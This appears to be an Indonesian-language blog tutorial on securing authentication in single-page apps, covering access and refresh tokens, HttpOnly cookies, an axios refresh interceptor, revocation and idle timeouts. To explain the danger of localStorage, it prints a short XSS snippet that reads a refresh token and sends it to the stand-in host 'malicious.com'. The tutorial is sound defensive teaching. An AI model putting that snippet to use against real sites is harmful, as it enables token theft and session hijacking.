AUTHENTICATION SECURITY FRONTEND SPA WEB-SECURITY JWT SESSION-MANAGEMENT REFRESH-TOKEN BEST-PRACTICES JAVASCRIPT REACT API-SECURITY

Mengamankan Autentikasi di SPA: Strategi Implementasi Refresh Token dan Session Management

⏱️ 13 menit baca
👨‍💻

Mengamankan Autentikasi di SPA: Strategi Implementasi Refresh Token dan Session Management

Halo Developer! 👋

Pernahkah Anda bertanya-tanya bagaimana aplikasi web modern seperti media sosial atau e-commerce bisa menjaga Anda tetap login berhari-hari, bahkan berminggu-minggu, tanpa harus memasukkan kata sandi berulang kali? Atau bagaimana mereka menangani logout yang aman dan efektif? Jawabannya seringkali terletak pada kombinasi cerdas antara Access Token, Refresh Token, dan strategi Session Management yang kokoh, terutama di aplikasi Single Page Application (SPA).

Mengimplementasikan autentikasi yang aman dan mulus di SPA adalah salah satu tantangan paling umum bagi developer. Kita ingin pengguna tidak perlu login terus-menerus (pengalaman pengguna yang baik), namun di sisi lain, kita juga harus menjaga keamanan dari berbagai ancaman (keamanan yang baik). Dua tujuan ini seringkali terasa bertolak belakang.

Di artikel ini, kita akan menyelami lebih dalam bagaimana kita bisa mencapai kedua tujuan tersebut. Kita akan fokus pada:

Mari kita mulai petualangan mengamankan sesi pengguna Anda! 🚀

1. Pendahuluan: Kenapa Autentikasi di SPA Itu Tricky?

Aplikasi Single Page Application (SPA) seperti yang dibangun dengan React, Vue, atau Angular, memberikan pengalaman pengguna yang sangat responsif karena sebagian besar logika dan UI di-render di sisi klien. Namun, pendekatan ini membawa tantangan unik dalam hal autentikasi.

Masalah utamanya adalah masa berlaku (expiry) token. Untuk alasan keamanan, access token (yang digunakan untuk otorisasi setiap request ke API) harus memiliki masa berlaku yang sangat pendek, biasanya hanya beberapa menit atau jam. Jika access token ini dicuri, dampaknya terbatas karena akan segera kadaluarsa.

Masalah: Jika access token berumur pendek, pengguna akan sering diminta login ulang. Ini sangat mengganggu pengalaman pengguna! ✅ Solusi yang Diinginkan: Pengguna bisa tetap login dalam waktu lama, namun tetap aman.

Di sinilah Refresh Token masuk sebagai pahlawan. Refresh token memiliki masa berlaku yang lebih panjang (bisa berhari-hari, berminggu-minggu, atau bahkan tidak ada masa berlaku sampai di-revoke). Tujuan utamanya adalah untuk mendapatkan access token baru ketika access token yang lama sudah kadaluarsa, tanpa perlu pengguna memasukkan kredensial login lagi.

📌 Intinya: Access token untuk otorisasi request, berumur pendek (keamanan). Refresh token untuk mendapatkan access token baru, berumur panjang (UX).

2. Memahami Access Token dan Refresh Token Lebih Jauh

Mari kita analogikan dengan kunci dan izin masuk:

Peran Masing-masing:

3. Tantangan Keamanan pada Refresh Token di SPA

Tantangan terbesar dalam mengimplementasikan refresh token di SPA adalah bagaimana menyimpannya secara aman di sisi klien. Lingkungan browser (tempat SPA berjalan) rentan terhadap serangan Cross-Site Scripting (XSS).

Apa itu XSS? XSS adalah jenis serangan di mana penyerang menyuntikkan skrip berbahaya ke dalam halaman web yang dilihat oleh pengguna lain. Skrip ini dapat mencuri data dari browser pengguna, termasuk token autentikasi.

Penyimpanan di localStorage atau sessionStorage: Banyak developer pemula tergoda untuk menyimpan token (baik access maupun refresh) di localStorage atau sessionStorage. Ini adalah praktik yang sangat tidak disarankan untuk refresh token!

// JANGAN LAKUKAN INI untuk refresh token!
localStorage.setItem('refreshToken', 'ini_refresh_token_anda');

Mengapa berbahaya? Jika ada serangan XSS berhasil, skrip jahat dapat dengan mudah mengakses localStorage atau sessionStorage dan mencuri refresh token Anda.

// Contoh skrip XSS yang mencuri token dari localStorage
<script>
  const stolenToken = localStorage.getItem('refreshToken');
  // Kirim token ke server penyerang
  fetch('https://malicious.com/steal?token=' + stolenToken);
</script>

Setelah refresh token dicuri, penyerang bisa terus-menerus mendapatkan access token baru, dan esensinya, “mengambil alih” sesi pengguna untuk jangka waktu yang sangat lama, bahkan setelah pengguna menutup browser. Ini adalah kerentanan keamanan yang serius.

4. Strategi Penyimpanan Refresh Token yang Aman: HttpOnly Cookies

Strategi yang paling direkomendasikan untuk menyimpan refresh token di SPA adalah menggunakan HttpOnly Cookies.

Bagaimana Mekanisme Kerjanya?

  1. Login: Pengguna mengirim kredensial login ke backend.

  2. Backend Merespons:

    • Mengirim access token dalam body respons JSON (atau header Authorization). Access token ini akan disimpan di memori aplikasi frontend.
    • Mengirim refresh token dalam header Set-Cookie dengan flag HttpOnly, Secure, dan SameSite.
    HTTP/1.1 200 OK
    Content-Type: application/json
    Set-Cookie: refreshToken=your_long_lived_refresh_token; HttpOnly; Secure; SameSite=Lax; Path=/api/auth/refresh; Max-Age=2592000
    
    {
      "accessToken": "your_short_lived_access_token",
      "expiresIn": 3600
    }
  3. Request API: Setiap kali frontend perlu berkomunikasi dengan API yang dilindungi, ia akan menyertakan access token di header Authorization.

  4. Refresh Token Otomatis: Ketika access token kadaluarsa (backend merespons dengan 401 Unauthorized), frontend akan secara otomatis mengirim request ke endpoint refresh token di backend. Karena refresh token disimpan sebagai HttpOnly cookie, browser akan secara otomatis menyertakan cookie ini dalam request ke domain yang sama.

  5. Backend Refresh: Backend menerima request refresh, memvalidasi refresh token dari cookie, lalu merespons dengan access token baru (dan mungkin refresh token baru juga, tergantung strategi rotasi).

🎯 Keuntungan HttpOnly Cookies:

5. Implementasi Alur Refresh Token di Frontend

Mari kita lihat bagaimana mengimplementasikan alur refresh token di sisi frontend menggunakan JavaScript dan asumsi Anda menggunakan fetch API atau axios. Kita akan menggunakan interceptor untuk menangani logika refresh token secara otomatis.

// Asumsi Anda menggunakan Axios, tapi konsepnya sama untuk Fetch API dengan wrapper
import axios from 'axios';

const API_BASE_URL = 'https://api.yourdomain.com';
const AUTH_REFRESH_URL = `${API_BASE_URL}/auth/refresh`; // Endpoint untuk refresh token

let isRefreshing = false; // Flag untuk mencegah multiple refresh requests
let failedQueue = []; // Antrian request yang gagal saat token sedang di-refresh

const processQueue = (error, token = null) => {
  failedQueue.forEach(prom => {
    if (error) {
      prom.reject(error);
    } else {
      prom.resolve(token);
    }
  });
  failedQueue = [];
};

const axiosInstance = axios.create({
  baseURL: API_BASE_URL,
  withCredentials: true, // PENTING: Untuk mengirim HttpOnly cookies
});

// Interceptor untuk menambahkan Access Token ke setiap request
axiosInstance.interceptors.request.use(
  config => {
    const accessToken = localStorage.getItem('accessToken'); // Access token bisa disimpan di localStorage untuk kemudahan, karena berumur pendek dan sering di-refresh
    if (accessToken) {
      config.headers.Authorization = `Bearer ${accessToken}`;
    }
    return config;
  },
  error => {
    return Promise.reject(error);
  }
);

// Interceptor untuk menangani expired access token dan refresh otomatis
axiosInstance.interceptors.response.use(
  response => response,
  async error => {
    const originalRequest = error.config;

    // Jika error adalah 401 (Unauthorized) dan bukan request refresh token itu sendiri
    if (error.response.status === 401 && !originalRequest._retry) {
      if (isRefreshing) {
        // Jika sudah ada proses refresh, tambahkan request ini ke antrian
        return new Promise((resolve, reject) => {
          failedQueue.push({ resolve, reject });
        })
        .then(token => {
          originalRequest.headers['Authorization'] = 'Bearer ' + token;
          return axiosInstance(originalRequest);
        })
        .catch(err => {
          return Promise.reject(err);
        });
      }

      originalRequest._retry = true; // Tandai request ini sudah dicoba ulang
      isRefreshing = true; // Set flag bahwa proses refresh sedang berjalan

      return new Promise((resolve, reject) => {
        axios.post(AUTH_REFRESH_URL, {}, { withCredentials: true }) // Request refresh, browser otomatis kirim HttpOnly cookie
          .then(res => {
            const newAccessToken = res.data.accessToken;
            localStorage.setItem('accessToken', newAccessToken); // Simpan access token baru
            axiosInstance.defaults.headers.common['Authorization'] = `Bearer ${newAccessToken}`; // Update default header
            originalRequest.headers['Authorization'] = `Bearer ${newAccessToken}`; // Update header request yang gagal

            processQueue(null, newAccessToken); // Proses antrian request yang menunggu
            resolve(axiosInstance(originalRequest)); // Ulangi request yang gagal dengan token baru
          })
          .catch(err => {
            processQueue(err); // Beri tahu semua request di antrian bahwa refresh gagal
            localStorage.removeItem('accessToken'); // Hapus access token lama
            // Redirect ke halaman login atau tampilkan pesan error
            window.location.href = '/login';
            reject(err);
          })
          .finally(() => {
            isRefreshing = false; // Reset flag
          });
      });
    }

    return Promise.reject(error);
  }
);

export default axiosInstance;

// Contoh penggunaan:
// axiosInstance.get('/user/profile')
//   .then(res => console.log(res.data))
//   .catch(err => console.error(err));

💡 Penjelasan Penting:

6. Manajemen Sesi Lanjutan: Revokasi dan Deteksi Aktivitas

Autentikasi tidak hanya tentang mendapatkan token, tetapi juga tentang mengelola sesi pengguna selama masa pakainya.

Revokasi Refresh Token

Revokasi adalah kemampuan untuk membatalkan refresh token yang sudah dikeluarkan. Ini penting untuk:

Implementasi Backend: Backend perlu menyimpan daftar refresh token yang aktif atau menyimpan informasi sesi yang dapat di-revoke. Ketika request revokasi diterima, refresh token tersebut akan dihapus dari daftar atau ditandai sebagai tidak valid.

Deteksi Aktivitas / Idle Timeout

Untuk keamanan tambahan dan manajemen sumber daya, Anda mungkin ingin secara otomatis mengakhiri sesi jika pengguna tidak aktif untuk jangka waktu tertentu.

Implementasi Frontend: Anda bisa menggunakan JavaScript untuk mendeteksi interaksi pengguna (misalnya, mousemove, keydown, scroll). Jika tidak ada interaksi dalam periode waktu tertentu, Anda bisa:

  1. Menampilkan peringatan bahwa sesi akan berakhir.
  2. Secara otomatis logout pengguna (dengan memanggil endpoint logout di backend untuk me-revoke token).
// Contoh sederhana deteksi idle timeout di frontend
let timeoutId;
const IDLE_TIMEOUT = 10 * 60 * 1000; // 10 menit

const resetTimer = () => {
  clearTimeout(timeoutId);
  timeoutId = setTimeout(logoutUser, IDLE_TIMEOUT);
};

const logoutUser = () => {
  console.log("Pengguna tidak aktif. Melakukan logout...");
  localStorage.removeItem('accessToken');
  // Panggil API logout di backend untuk me-revoke refresh token
  axiosInstance.post(`${API_BASE_URL}/auth/logout`, {}, { withCredentials: true })
    .finally(() => {
      window.location.href = '/login';
    });
};

// Tambahkan event listener untuk mereset timer
['mousemove', 'keydown', 'scroll'].forEach(event => {
  document.addEventListener(event, resetTimer);
});

// Mulai timer saat aplikasi pertama kali dimuat
resetTimer();

Kesimpulan

Mengamankan autentikasi di Single Page Application memang membutuhkan perhatian khusus, terutama dalam manajemen refresh token. Dengan memahami perbedaan antara access token dan refresh token, serta menerapkan strategi penyimpanan yang tepat seperti HttpOnly Cookies, Anda dapat membangun sistem autentikasi yang tidak hanya aman dari serangan XSS tetapi juga memberikan pengalaman pengguna yang mulus dan tanpa gangguan.

Ingatlah selalu untuk menjaga keamanan refresh token sebagai prioritas utama, mengimplementasikan alur refresh token yang robust di frontend, dan menyediakan mekanisme manajemen sesi lanjutan seperti revokasi token dan idle timeout. Dengan praktik-praktik ini, aplikasi web Anda akan lebih tangguh dan tepercaya.

Sampai jumpa di artikel berikutnya! Selamat ngoding! ✨

🔗 Baca Juga